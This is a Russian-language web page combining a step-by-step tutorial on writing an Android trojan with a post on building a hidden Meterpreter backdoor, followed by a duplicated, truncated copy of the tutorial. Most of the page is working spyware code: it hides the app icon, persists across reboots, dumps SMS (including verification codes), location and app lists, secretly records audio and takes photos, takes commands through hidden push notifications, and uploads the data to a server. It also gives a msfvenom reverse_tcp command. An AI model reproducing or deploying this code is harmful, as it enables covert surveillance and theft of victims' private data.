Содержание
- 1 Как написать троян на Андроид
- 1.1 Каркас
- 1.2 Информация о местоположении
- 1.3 Список установленных приложений
- 1.4 Дамп СМС
- 1.5 Скрытая запись аудио
- 1.6 Скрытая съемка
- 1.7 Складываем все вместе
- 1.8 Задания по расписанию
- 1.9 Снимок при включении экрана
- 1.10 Запуск при загрузке
- 1.11 Запись аудио по команде
- 1.12 Отправка данных на сервер
- 2 Выводы
Android принято называть рассадником вредоносных программ. Каждый день здесь выявляют более 8 тысяч новых образцов вирусов. И эти цифры постоянно растут.
Но задумывались ли вы, как эти вредоносные программы работают? Сегодня мы разберемся с этим, изучив приложение для Android, способное собирать информацию об устройстве, его местоположении, делать фотографии и записывать аудио. И все это с удаленным управлением.
Еще по теме: Как вирусы попадают в Google Play Market
Как написать троян на Андроид
Итак, наша цель — разобраться, как работают современные зловредные приложения. А лучший способ это сделать — посмотреть, как создается похожий софт. Как и боевой троян, наш пример при желании сможет наблюдать и передавать информацию о целевом устройстве на сервер.
Возможности трояна будут следующие:
- сбор информации о местоположении;
- получение списка установленных приложений;
- получение СМС;
- запись аудио;
- съемка задней или фронтальной камерой.
Все эти данные наше приложение будет отправлять на удаленный сервер, где мы сможем проанализировать результаты его работы.
Важно! Создание и распространение вредоносных программ карается лишением свободы до четырех лет (статья 273). Мы не хотим, чтобы вы сломали себе жизнь в местах не столь отдаленных, поэтому публикуем статью исключительно в образовательных целях. Ведь лучший способ разобраться в работе зловредного ПО — это узнать, как оно создается.
По понятным причинам я не смогу привести полный код приложения в статье, поэтому некоторые задачи вам придется выполнить самим (для этого потребуются кое-какие знания в разработке приложений для Android).
Каркас
На этом этапе задача следующая: создать приложение с пустым (или просто безобидным) интерфейсом. Сразу после запуска приложение скроет свою иконку, запустит сервис и завершится (сервис при этом будет продолжать работать).
Начнем. Создайте приложение, указав в манифесте следующие разрешения:
<uses—permission android:name=«android.permission.ACCESS_COARSE_LOCATION»/> <uses—permission android:name=«android.permission.ACCESS_FINE_LOCATION» /> <uses—permission android:name=«android.permission.INTERNET» /> <uses—permission android:name=«android.permission.CAMERA» /> <uses—permission android:name=«android.permission.RECORD_AUDIO» /> <uses—permission android:name=«android.permission.RECEIVE_BOOT_COMPLETED»/> <uses—permission android:name=«android.permission.READ_PHONE_STATE» /> <uses—permission android:name=«android.permission.PROCESS_OUTGOING_CALLS» /> <uses—permission android:name=«android.permission.READ_CONTACTS» /> <uses—permission android:name=«android.permission.READ_SMS» /> |
В «build.gradle» укажите «compileSdkVersion 22» и «targetSdkVersion 22». Так вы избавите приложение от необходимости запрашивать разрешения во время работы (22 — это Android 5.1, обязательный запрос разрешений появился в 23 — Android 6.0, но работать приложение будет в любой версии).
Теперь создайте пустую Activity и Service. В метод «onStartCommand» сервиса добавьте строку «return Service.START_STICKY». Это заставит систему перезапускать его в случае непреднамеренного завершения.
Добавьте их описание в манифест (здесь и далее наше приложение будет называться com.example.app):
<activity android:name=«com.example.app.MainActivity» android:label=«@string/app_name» > <intent—filter> <action android:name=«android.intent.action.MAIN» /> <category android:name=«android.intent.category.LAUNCHER» /> </intent—filter> </activity> <service android:name=«com.example.app.MainService» android:enabled=«true» android:exported=«false»> </service> |
Всю злобную работу мы будем делать внутри сервиса, поэтому наша Activity будет очень проста:
void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState) // Запускаем сервис startService(new Intent(this, MainService.class)); // Отключаем Activtiy ComponentName cn = new ComponentName(«com.example.app», «com.example.app.MainActivity»); pm.setComponentEnabledSetting(cn, PackageManager.COMPONENT_ENABLED_STATE_DISABLED, PackageManager.DONT_KILL_APP); } |
Этот код запустит сервис сразу после запуска приложения и отключит активность. Побочным эффектом последнего действия станет завершение приложения и исчезновение иконки из лаунчера. Сервис продолжит работу.
Информация о местоположении
Теперь мы должны добавить в сервис код, который будет собирать интересующую нас информацию.
Начнем с определения местоположения. В Андроид есть несколько способов получить текущие координаты устройства: GPS, по сотовым вышкам, по WiFi-роутерам. И с каждым из них можно работать двумя способами: либо попросить систему определить текущее местоположение и вызвать по окончании операции наш колбэк, либо спросить ОС о том, какие координаты были получены в последний раз (в результате запросов на определение местоположения от других приложений, например).
В нашем случае второй способ намного удобнее. Он быстрый, абсолютно незаметен для пользователя (не приводит к появлению иконки в строке состояния) и не жрет аккумулятор. Кроме того, его очень просто использовать:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 | Location getLastLocation(Context context) { LocationManager lManager = (LocationManager) context.getSystemService(Context.LOCATION_SERVICE); android.location.Location locationGPS = lManager.getLastKnownLocation(LocationManager.GPS_PROVIDER); android.location.Location locationNet = lManager.getLastKnownLocation(LocationManager.NETWORK_PROVIDER); long GPSLocationTime = 0; if (null != locationGPS) { GPSLocationTime = locationGPS.getTime(); } long NetLocationTime = 0; if (null != locationNet) { NetLocationTime = locationNet.getTime(); } Location loc; if ( 0 < GPSLocationTime — NetLocationTime ) { loc = locationGPS; } else { loc = locationNet; } if (loc != null) { return loc; } else { return null; } } |
Данная функция спрашивает систему о последних координатах, полученных с помощью определения местоположения по сотовым вышкам и по GPS, затем берет самые свежие данные и возвращает их в форме объекта Location.
Далее можно извлечь широту и долготу и записать их в файл внутри приватного каталога нашего приложения:
Location loc = getLastKnownLocation(context) String locationFile = context.getApplicationInfo().dataDir + «/location» try { OutputStreamWriter outputStreamWriter = new OutputStreamWriter(context.openFileOutput(locationFile, Context.MODE_PRIVATE)); outputStreamWriter.write(loc.getLatitude() + » « + loc.getLongitude); outputStreamWriter.close(); } catch (IOException e) {} |
Когда придет время отправлять данные на сервер, мы просто отдадим ему этот и другие файлы.
Список установленных приложений
Получить список установленных приложений еще проще:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 | void dumpSMS(Context context) { String appsFile = context.getApplicationInfo().dataDir + «/apps» final PackageManager pm = context.getPackageManager(); List<ApplicationInfo> packages = pm.getInstalledApplications(PackageManager.GET_META_DATA); try { PrintWriter pw = Files.writeLines(appsFile); for (ApplicationInfo packageInfo : packages) { if (!isSystemPackage(packageInfo)) pw.println(pm.getApplicationLabel(packageInfo) + «: « + packageInfo.packageName); } pw.close(); } catch (IOException e) {} } private boolean isSystemPackage(ApplicationInfo applicationInfo) { return ((applicationInfo.flags & ApplicationInfo.FLAG_SYSTEM) != 0); } |
Метод получает список всех приложений и сохраняет его в файл apps внутри приватного каталога приложения.
Дамп СМС
Уже сложнее. Чтобы получить список всех сохраненных СМС, нам необходимо подключиться к БД и пройтись по ней в поисках нужных записей. Код, позволяющий дампнуть все СМС в файл:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 | void dumpSMS(Context context, String file, String box) { SimpleDateFormat formatter = new SimpleDateFormat(«yyyy.MM.dd HH:mm:ss», Locale.US); Cursor cursor = context.getContentResolver().query(Uri.parse(«content://sms/» + box), null, null, null, null); try { PrintWriter pw = Files.writeLines(file); if (cursor != null && cursor.moveToFirst()) { do { String address = null; String date = null; String body = null; for (int idx = 0; idx < cursor.getColumnCount(); idx++) { switch (cursor.getColumnName(idx)) { case «address»: address = cursor.getString(idx); break; case «date»: date = cursor.getString(idx); break; case «body»: body = cursor.getString(idx); } } if (box.equals(«inbox»)) { pw.println(«From: « + address); } else { pw.println(«To: « + address); } String dateString = formatter.format(new Date(Long.valueOf(date))); pw.println(«Date: « + dateString); if (body != null) { pw.println(«Body: « + body.replace(‘n’, ‘ ‘)); } else { pw.println(«Body: «); } pw.println(); } while (cursor.moveToNext()); } pw.close(); cursor.close(); } catch (Exception e) {} } |
Использовать его следует так:
// Сохраняем список всех полученных СМС String inboxFile = context.getApplicationInfo().dataDir + «/sms_inbox» dumpSMS(context, inboxFile, «inbox»); // Сохраняем список отправленных СМС String sentFile = context.getApplicationInfo().dataDir + «/sms_sent»; dumpSMS(context, sentFile, «sent»); |
Записи в файле будут выглядеть примерно так:
From: Google Date: 2017.02.24 06:49:55 Body: G—732583 is your Google verification code. |
Скрытая запись аудио
Записать аудио с микрофона можно с помощью «API MediaRecorder». Достаточно передать ему параметры записи и запустить ее с помощью метода «start()». Остановить запись можно с помощью метода «stop()». Следующий код демонстрирует, как это сделать. В данном случае мы используем отдельный спящий поток, который просыпается по истечении заданного тайм-аута и останавливает запись:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 | void recordAudio(String file, final int time) { MediaRecorder recorder = new MediaRecorder(); recorder.setAudioSource(MediaRecorder.AudioSource.MIC); recorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP); recorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB); recorder.setOutputFile(file); try { recorder.prepare(); } catch (IOException e) {} recorder.start(); Thread timer = new Thread(new Runnable() { @Override public void run() { try { Thread.sleep(time * 1000); } catch (InterruptedException e) { Log.d(TAG, «timer interrupted»); } finally { recorder.stop(); recorder.release(); } } }); timer.start(); } |
Использовать его можно, например, так:
DateFormat formatter = new SimpleDateFormat(«yyyy-MM-dd-HH-mm-ss», Locale.US); Date date = new Date(); String filePrefix = context.getApplicationInfo().dataDir + «/audio-«; recordAudio(filePrefix + formatter.format(date) + «.3gp», 15); |
Данный код сделает 15-секундную запись и поместит ее в файл audio-ДАТА-И-ВРЕМЯ.3gp.
Скрытая съемка
С камерой сложнее всего. Во-первых, по-хорошему необходимо уметь работать сразу с двумя API камеры: классическим и Camera2, который появился в Android 5.0 и стал основным в 7.0. Во-вторых, API Camera2 часто работает некорректно в Android 5.0 и даже в Android 5.1, к этому нужно быть готовым. В-третьих, Camera2 — сложный и запутанный API, основанный на колбэках, которые вызываются в момент изменения состояния камеры. В-четвертых, ни в классическом API камеры, ни в Camera2 нет средств для скрытой съемки. Они оба требуют показывать превью, и это ограничение придется обходить с помощью хаков.
Учитывая, что с Camera2 работать намного сложнее, а описать нюансы работы с ней в рамках данной статьи не представляется возможным, я просто приведу весь код класса для скрытой съемки. А вы можете либо использовать его как есть, либо попробуете разобраться с ним самостоятельно (но я предупреждаю: вы попадете в ад):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 | public class SilentCamera2 { private Context context; private CameraDevice device; private ImageReader imageReader; private CameraCaptureSession session; private SurfaceTexture surfaceTexture; private CameraCharacteristics characteristics; private Surface previewSurface; private CaptureRequest.Builder request; private Handler handler; private String photosDir; public SilentCamera2(Context context) { this.context = context; } private final CameraDevice.StateCallback mStateCallback = new CameraDevice.StateCallback() { @Override public void onOpened(CameraDevice cameraDevice) { device = cameraDevice; try { surfaceTexture = new SurfaceTexture(10); previewSurface = new Surface(surfaceTexture); List<Surface> surfaceList = new ArrayList<>(); surfaceList.add(previewSurface); surfaceList.add(imageReader.getSurface()); cameraDevice.createCaptureSession(surfaceList, mCaptureStateCallback, handler); } catch (Exception e) { } } @Override public void onDisconnected(CameraDevice cameraDevice) { } @Override public void onError(CameraDevice cameraDevice, int error) { } }; private CameraCaptureSession.StateCallback mCaptureStateCallback = new CameraCaptureSession.StateCallback() { @Override public void onConfigured(CameraCaptureSession captureSession) { session = captureSession; try { request = device.createCaptureRequest(CameraDevice.TEMPLATE_PREVIEW); request.addTarget(previewSurface); request.set(CaptureRequest.CONTROL_AF_TRIGGER, CameraMetadata.CONTROL_AF_TRIGGER_START); captureSession.setRepeatingRequest(request.build(), mCaptureCallback, handler); } catch (Exception e) { } } @Override public void onConfigureFailed(CameraCaptureSession mCaptureSession) {} }; private CameraCaptureSession.CaptureCallback mCaptureCallback = new CameraCaptureSession.CaptureCallback() { @Override public void onCaptureCompleted(CameraCaptureSession session, CaptureRequest request, TotalCaptureResult result) { } }; private final ImageReader.OnImageAvailableListener mOnImageAvailableListener = new ImageReader.OnImageAvailableListener() { @Override public void onImageAvailable(ImageReader reader) { DateFormat dateFormat = new SimpleDateFormat(«yyyy-MM-dd-HH-mm-ss»); Date date = new Date(); String filename = photosDir + «/» + dateFormat.format(date) + «.jpg»; File file = new File(filename); Image image = imageReader.acquireLatestImage(); try { ByteBuffer buffer = image.getPlanes()[0].getBuffer(); byte[] bytes = new byte[buffer.remaining()]; buffer.get(bytes); OutputStream os = new FileOutputStream(file); os.write(bytes); image.close(); os.close(); } catch (Exception e) { e.getStackTrace(); } closeCamera(); } }; private void takePicture() { request.set(CaptureRequest.JPEG_ORIENTATION, getOrientation()); request.addTarget(imageReader.getSurface()); try { session.capture(request.build(), mCaptureCallback, handler); } catch (CameraAccessException e) { } } private void closeCamera() { try { if (null != session) { session.abortCaptures(); session.close(); session = null; } if (null != device) { device.close(); device = null; } if (null != imageReader) { imageReader.close(); imageReader = null; } if (null != surfaceTexture) { surfaceTexture.release(); } } catch (Exception e) { } } public boolean takeSilentPhoto(String cam, String dir) { photosDir = dir; int facing; switch (cam) { case «front»: facing = CameraCharacteristics.LENS_FACING_FRONT; break; case «back»: facing = CameraCharacteristics.LENS_FACING_BACK; break; default: return false; } CameraManager manager = (CameraManager) context.getSystemService(Context.CAMERA_SERVICE); String cameraId = null; characteristics = null; try { for (String id : manager.getCameraIdList()) { characteristics = manager.getCameraCharacteristics(id); Integer currentFacing = characteristics.get(CameraCharacteristics.LENS_FACING); if (currentFacing != null && currentFacing == facing) { cameraId = id; break; } } } catch (Exception e) { return false; } HandlerThread handlerThread = new HandlerThread(«CameraBackground»); handlerThread.start(); handler = new Handler(handlerThread.getLooper()); imageReader = ImageReader.newInstance(1920,1080, ImageFormat.JPEG, 2); imageReader.setOnImageAvailableListener(mOnImageAvailableListener, handler); try { manager.openCamera(cameraId, mStateCallback, handler); // Ждем фокусировку Thread.sleep(1000); takePicture(); } catch (Exception e) { Log.d(TAG, «Can’t open camera: « + e.toString()); return false; } return true; } private int getOrientation() { WindowManager wm = (WindowManager) context.getSystemService(Context.WINDOW_SERVICE); int rotation = wm.getDefaultDisplay().getRotation(); int deviceOrientation = 0; switch(rotation){ case Surface.ROTATION_0: deviceOrientation = 0; break; case Surface.ROTATION_90: deviceOrientation = 90; break; case Surface.ROTATION_180: deviceOrientation = 180; break; case Surface.ROTATION_270: deviceOrientation = 270; break; } int sensorOrientation = characteristics.get(CameraCharacteristics.SENSOR_ORIENTATION); deviceOrientation = (deviceOrientation + 45) / 90 * 90; boolean facingFront = characteristics.get(CameraCharacteristics.LENS_FACING) == CameraCharacteristics.LENS_FACING_FRONT; if (facingFront) deviceOrientation = —deviceOrientation; return (sensorOrientation + deviceOrientation + 360) % 360; } } |
Этот код следует вызывать в отдельном потоке, передав в качестве аргументов место расположения камеры («front» — передняя, «back» — задняя) и каталог, в который будут сохранены фотографии. В качестве имен файлов будет использована текущая дата и время.
String cameraDir = context.getApplicationInfo().dataDir + «/camera/» camera.takeSilentPhoto(«front», cameraDir); |
Складываем все вместе
С этого момента у нас есть каркас приложения, который запускает сервис и скрывает свое присутствие. Есть набор функций и классов, которые позволяют собирать информацию о смартфоне и его владельце, а также скрыто записывать аудио и делать фото. Теперь нужно разобраться, когда и при каких обстоятельствах их вызывать.
Еще по теме: Как создать RAT для Android
Если мы просто засунем вызов всех этих функций в сервис, то получим бесполезное «одноразовое приложение». Сразу после запуска оно узнает информацию о местоположении, получит список приложений, СМС, сделает запись аудио, снимок, сохранит все это в файлы в своем приватном каталоге и уснет. Оно даже не запустится после перезагрузки.
Гораздо более полезным оно станет, если определение местоположения, дамп приложений и СМС будет происходить по расписанию (допустим, раз в полчаса), снимок экрана — при каждом включении устройства, а запись аудио — по команде с сервера.
Задания по расписанию
Чтобы заставить Android выполнять код нашего приложения через определенные интервалы времени, можно использовать AlarmManager. Для начала напишем такой класс:
public class Alarm extends BroadcastReceiver { public static void set(Context context) { AlarmManager am = (AlarmManager) context.getSystemService(Context.ALARM_SERVICE); Intent intent = new Intent(context, Alarm.class); PendingIntent pIntent = PendingIntent.getBroadcast(context, 0, intent, 0); am.setInexactRepeating(AlarmManager.ELAPSED_REALTIME_WAKEUP, SystemClock.elapsedRealtime(), 30 * 60 * 1000, pIntent); } @Override public void onReceive(Context context, Intent intent) { // Твой код здесь } } |
Метод «set()» установит «будильник», срабатывающий каждые тридцать минут и запускающий метод «onReceive()». Именно в него вы должны поместить код, скидывающий местоположение, СМС и список приложений в файлы.
В метод «onCreate()» сервиса добавьте следующую строку:
Снимок при включении экрана
Бессмысленно делать снимок каждые полчаса. Гораздо полезнее делать снимок передней камерой при разблокировке смартфона (сразу видно, кто его использует). Чтобы реализовать такое, создайте класс ScreenOnReceiver:
class ScreenOnReceiver extends BroadcastReceiver() { @Override void onReceive(Context context, Intent intent) { // Ваш код здесь } } |
И добавьте в манифест следующие строки:
<receiver android:name=«com.example.app.ScreenOnReceiver»> <intent—filter> <action android:name=«android.intent.action.ACTION_SCREEN_ON» /> </intent—filter> </receiver> |
Запуск при загрузке
В данный момент у нашего приложения есть одна большая проблема — оно будет работать ровно до тех пор, пока юзер не перезагрузит смартфон. Чтобы перезапускать сервис при загрузке смартфона, создадим еще один ресивер:
class BootReceiver extends BroadcastReceiver() { @Override void onReceive(Context context, Intent intent) { Intent serviceIntent = new Intent(this, MainService.class); startService(serviceIntent); } } |
И опять же добавим его в манифест:
<receiver android:name=«com.example.BootReceiver»> <intent—filter> <action android:name=«android.intent.action.BOOT_COMPLETED» /> </intent—filter> </receiver> |
Запись аудио по команде
С этим немного сложнее. Самый простой способ отдать команду нашему трояну — записать ее в обычный текстовый файл и выложить этот файл на сервере. Затем поместить в сервис код, который будет, допустим, каждую минуту чекать сервер на наличие файла и выполнять записанную в нем команду.
В коде это может выглядеть примерно так:
String url = «http://example.com/cmd» OkHttpClient client = new OkHttpClient(); Request request = new Request.Builder().url(url).build(); while (true) { Response response = client.newCall(request).execute(); String cmd = response.body().string(); cmd = cmd.trim() if (cmd.equals(«record»)) { // Делаем аудиозапись } try { Thread.sleep(60 * 1000); } catch (InterruptedException e) {} } |
Конечно же, у этого кода есть проблема — если вы один раз запишете команду в файл на сервере, троян будет выполнять ее каждую минуту. Чтобы этого избежать, достаточно добавить в файл числовой префикс в формате «X:команда» и увеличивать этот префикс при каждой записи команды. Троян же должен сохранять это число и выполнять команду только в том случае, если оно увеличилось.
Гораздо хуже, что ваш троян будет заметно жрать батарею. А Андроид (начиная с шестой версии) будет его в этом ограничивать, закрывая доступ в интернет.
Чтобы избежать этих проблем, можно использовать сервис push-уведомлений. OneSignal отлично подходит на эту роль. Он бесплатен и очень прост в использовании. Зарегистрируйтесь в сервисе, добавьте новое приложение и следуйте инструкциям, в конце ван скажут, какие строки необходимо добавить в build.gradle приложения, а также попросят создать класс вроде этого:
class App extends Application { @Override public void onCreate() { super.onCreate() OneSignal.startInit(this).init() } } |
Но это еще не все. Также ван нужен сервис — обработчик push-уведомлений, который будет принимать их и выполнять действия в зависимости от содержащихся в push-уведомлении данных:
class OSService extends NotificationExtenderService { @Override protected boolean onNotificationProcessing(OSNotificationReceivedResult receivedResult) { String cmd = receivedResult.payload.body.trim() if (cmd.equals(«record»)) { // Делаем аудиозапись } // Не показывать уведомление return true } } |
Этот код трактует содержащуюся в уведомлении строку как команду и, если эта команда — record, выполняет нужный нам код. Само уведомление не появится на экране, поэтому пользователь ничего не заметит.
Последний штрих — добавим сервис в манифест:
<service android:name=«org.antrack.app.service.OSService» android:exported=«false»> <intent—filter> <action android:name=«com.onesignal.NotificationExtender» /> </intent—filter> </service> |
Отправка данных на сервер
На протяжении всей статьи мы обсуждали, как собрать данные и сохранить их в файлы внутри приватного каталога. И теперь мы готовы залить эти данные на сервер. Сделать это не так уж сложно, вот, например, как можно отправить на сервер нашу фотку:
private static final MediaType MEDIA_TYPE_JPEG = MediaType.parse(«image/jpeg»); public void uploadImage(File image, String imageName) throws IOException { OkHttpClient client = new OkHttpClient(); RequestBody requestBody = new MultipartBody.Builder().setType(MultipartBody.FORM) .addFormDataPart(«file», imageName, RequestBody.create(MEDIA_TYPE_JPEG, image)) .build(); Request request = new Request.Builder().url(«http://com.example.com/upload») .post(requestBody).build(); Response response = client.newCall(request).execute(); } |
Вызывать этот метод нужно из метода «onReceive()» класса Alarm, чтобы каждые тридцать минут приложение отправляло новые файлы на сервер. Отправленные файлы следует удалять.
Ну и конечно же, на стороне сервера вам необходимо реализовать хендлер, который будет обрабатывать аплоады. Как это сделать, сильно зависит от того, какой фреймворк и сервер вы используете.
Выводы
Android — очень дружелюбная к разработчикам сторонних приложений ОС. Поэтому создать троян здесь можно, используя стандартный API. Более того, с помощью того же API его иконку можно скрыть из списка приложений и заставить работать в фоне, незаметно для пользователя.
Имейте ввиду! Андроид 8 хоть и позволяет собранным для более ранних версий Android приложениям работать в фоне, но выводит об этом уведомление. С другой стороны, много ли вы видели смартфонов на Android 8 в дикой природе?
На этом все. Теперь вы знаете как хакеры создают трояны для Андроид, а о том как от них защититься мы уже неоднократно писали (используйте поиск по сайту).
Еще по теме: Где скачать вирусы
Привет с вами DarkNode
Вся инфа в ознокомительных целях,автор не несет ответственности за область ее применения!
Сегодня будем учиться делать скрытый троян|бекдор на андроид средствами разработки на Android Studio и используя исходник от Android Meterpreter Payload с дальнейшим закреплением в системе.
Что нам понадобится:
Android Studio и Android SDK офф_сайт(
Ссылка скрыта от гостей
)
Android Meterpreter Payload source code (https://github.com/giovannicolonna/msfvenom-backdoor-android)
Ссылки так же будут в описании видео
Первый этап (Подготовительный):
Качаем SourceCode(исходник) метерпретора под андроид,ставим андроид студию и SDK (Этот момент я расписывать не буду
если у кого то возникнут трудности — стучитесь в личку)
(При установке SDK вы можете скачать пакеты AVD(Аndroid Virtual Device|Аднроид эмуляторов) для тестирования приложения на эмулированом устройстве,но как по мне то эти эмуляторы очень таки медленные и лучше тестировать на своем реальном девайсе или же использовать другой эмулятор (например genymotion или образы андроида для виртуалок) Ссылки на то как настроить студию с генимоушн или физическим девайсом я кину в конце статьи и в описания видео.
Ну я уже все скачал.Показывать процесс установки не буду.Опять же таки если трудности возникнут с установкой( но не должны))) ) -стучите личку.
Запускаем студию,создаем проект,даем ему имя. Выбираем минимальную версию API андроида,я выбрал IceCreamSandwich 4.0 так как
это самая распространенная версия Android по статистике разработчиков.
Выбираем приложения без активити (activity) — это означает что при запуске не будет никаких
визуальных окон (activity) и приложения просто запуститься себе и будет висеть в фоне.
На этом подготовительный этап завершен
Подключить genymotion к Android Studio
Подключить реальный смартфон к Android Studio
Второй этап (Базовые настройки пейлоада)
Открываем наш проект в студии.
Далее распаковываем скаченный архив с гитхаба с исходниками метерпретера. Находим там папку backdooredapk где лежат наши java файлы и перетаскиваем их в наш проект в андроид студии.
Далее первым шагом же изменим в файле payload.java ip адрес нашего листенера(нашей атакующей машины,где у нас запущен метаслоит)
Затем нам будет интересен файл MyIntentService.java,в котором мы сможем опционально задать интервал времени через которое наш бекдор будет конектиться к машине атакуищего.
(long half_an_hour = (3600)/(2); //время в секундах между каждой попыткой открыть новую meterpreter сессию » Я для демонстрации поставлю минуту» )
Далее нам понадобится AndroidManifest.xml из архива. Возьмем от туда пользовательские разрешение (user.permisions) и все что между тегами <application></application>
После того как мы копипасним пермишенс и апликейшн нам нужно будет опционально изменить(указать) имя активити(<activiyt>android:name) и имя службы(<Service>android:name)
Хотя студия сама нам это покажет что не нашла пути которое по дефолту был в тегах активити и сервиса(выделит их красным цветом).
Нужно заменить их (stage.metasploit.com на com.darknode.google_update в моем случае «путь(имя) к вашему проекту»)
Но в манифесте (AndroidManifest.xml) из архива есть один небольшой косяк.После копипаста его в наш проект нужно добавить права(permisions),так как там не полный нужный нам список прав.
Для этого возьмем и реверснем апк созданный с помощью msfvenon:
msfvenom -p android/meterpreter/reverse_tcp lhost=айпи lport=порт r > ./meter.apk(хотя айпи и порт можно рандомный,нам нужен только манифест от туда)
Скопируем разрешение с манифеста в наш проект
Далее осталось подписать наше приложения.
Подписали) Ну что ж давайте протестим.))
На этом наш этап пока закончим.Продолжения следует в следующей статье(видео)
Всем спасибо.
Listen to this article
Как написать троян на Андроид?
Итак, наша цель — разобраться, как работают современные зловредные приложения. А лучший способ это сделать — посмотреть, как создается похожий софт. Как и боевой троян, наш пример при желании сможет наблюдать и передавать информацию о целевом устройстве на сервер.
Возможности трояна будут следующие:
- сбор информации о местоположении;
- получение списка установленных приложений;
- получение СМС;
- запись аудио;
- съемка задней или фронтальной камерой.
Все эти данные наше приложение будет отправлять на удаленный сервер, где мы сможем проанализировать результаты его работы.
Важно! Создание и распространение вредоносных программ карается лишением свободы до четырех лет (статья 273). Мы не хотим, чтобы вы сломали себе жизнь в местах не столь отдаленных, поэтому публикуем статью исключительно в образовательных целях. Ведь лучший способ разобраться в работе зловредного ПО — это узнать, как оно создается.
По понятным причинам я не смогу привести полный код приложения в статье, поэтому некоторые задачи вам придется выполнить самим (для этого потребуются кое-какие знания в разработке приложений для Android).
Каркас
На этом этапе задача следующая: создать приложение с пустым (или просто безобидным) интерфейсом. Сразу после запуска приложение скроет свою иконку, запустит сервис и завершится (сервис при этом будет продолжать работать).
Начнем. Создайте приложение, указав в манифесте следующие разрешения:
<uses-permission android:name=»android.permission.ACCESS_COARSE_LOCATION»/>
<uses-permission android:name=»android.permission.ACCESS_FINE_LOCATION» />
<uses-permission android:name=»android.permission.INTERNET» />
<uses-permission android:name=»android.permission.CAMERA» />
<uses-permission android:name=»android.permission.RECORD_AUDIO» />
<uses-permission android:name=»android.permission.RECEIVE_BOOT_COMPLETED»/>
<uses-permission android:name=»android.permission.READ_PHONE_STATE» />
<uses-permission android:name=»android.permission.PROCESS_OUTGOING_CALLS» />
<uses-permission android:name=»android.permission.READ_CONTACTS» />
<uses-permission android:name=»android.permission.READ_SMS» />
В «build.gradle» укажите «compileSdkVersion 22» и «targetSdkVersion 22». Так вы избавите приложение от необходимости запрашивать разрешения во время работы (22 — это Android 5.1, обязательный запрос разрешений появился в 23 — Android 6.0, но работать приложение будет в любой версии).
Теперь создайте пустую Activity и Service. В метод «onStartCommand» сервиса добавьте строку «return Service.START_STICKY». Это заставит систему перезапускать его в случае непреднамеренного завершения.
Добавьте их описание в манифест (здесь и далее наше приложение будет называться com.example.app):
<activity
android:name=»com.example.app.MainActivity»
android:label=»@string/app_name» >
<intent-filter>
<action android:name=»android.intent.action.MAIN» />
<category android:name=»android.intent.category.LAUNCHER» />
</intent-filter>
</activity>
<service
android:name=»com.example.app.MainService»
android:enabled=»true»
android:exported=»false»>
</service>
Всю злобную работу мы будем делать внутри сервиса, поэтому наша Activity будет очень проста:
void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState)
- Запускаем сервис
startService(new Intent(this, MainService.class));
- Отключаем Activtiy
ComponentName cn = new ComponentName(«com.example.app», «com.example.app.MainActivity»);
pm.setComponentEnabledSetting(cn, PackageManager.COMPONENT_ENABLED_STATE_DISABLED, PackageManager.DONT_KILL_APP);
}
Этот код запустит сервис сразу после запуска приложения и отключит активность. Побочным эффектом последнего действия станет завершение приложения и исчезновение иконки из лаунчера. Сервис продолжит работу.
Информация о местоположении
Теперь мы должны добавить в сервис код, который будет собирать интересующую нас информацию.
Начнем с определения местоположения. В Андроид есть несколько способов получить текущие координаты устройства: GPS, по сотовым вышкам, по WiFi-роутерам. И с каждым из них можно работать двумя способами: либо попросить систему определить текущее местоположение и вызвать по окончании операции наш колбэк, либо спросить ОС о том, какие координаты были получены в последний раз (в результате запросов на определение местоположения от других приложений, например).
В нашем случае второй способ намного удобнее. Он быстрый, абсолютно незаметен для пользователя (не приводит к появлению иконки в строке состояния) и не жрет аккумулятор. Кроме того, его очень просто использовать:
Location getLastLocation(Context context) {
LocationManager lManager = (LocationManager) context.getSystemService(Context.LOCATION_SERVICE);
android.location.Location locationGPS = lManager.getLastKnownLocation(LocationManager.GPS_PROVIDER);
android.location.Location locationNet = lManager.getLastKnownLocation(LocationManager.NETWORK_PROVIDER);
long GPSLocationTime = 0;
if (null != locationGPS) { GPSLocationTime = locationGPS.getTime(); }
long NetLocationTime = 0;
if (null != locationNet) { NetLocationTime = locationNet.getTime(); }
Location loc;
if ( 0 < GPSLocationTime — NetLocationTime ) {
loc = locationGPS;
} else {
loc = locationNet;
}
if (loc != null) {
return loc;
} else {
return null;
}
}
Данная функция спрашивает систему о последних координатах, полученных с помощью определения местоположения по сотовым вышкам и по GPS, затем берет самые свежие данные и возвращает их в форме объекта Location.
Далее можно извлечь широту и долготу и записать их в файл внутри приватного каталога нашего приложения:
Location loc = getLastKnownLocation(context)
String locationFile = context.getApplicationInfo().dataDir + «/location»
try {
OutputStreamWriter outputStreamWriter = new OutputStreamWriter(context.openFileOutput(locationFile, Context.MODE_PRIVATE));
outputStreamWriter.write(loc.getLatitude() + » » + loc.getLongitude);
outputStreamWriter.close();
}
catch (IOException e) {}
Когда придет время отправлять данные на сервер, мы просто отдадим ему этот и другие файлы.
Список установленных приложений
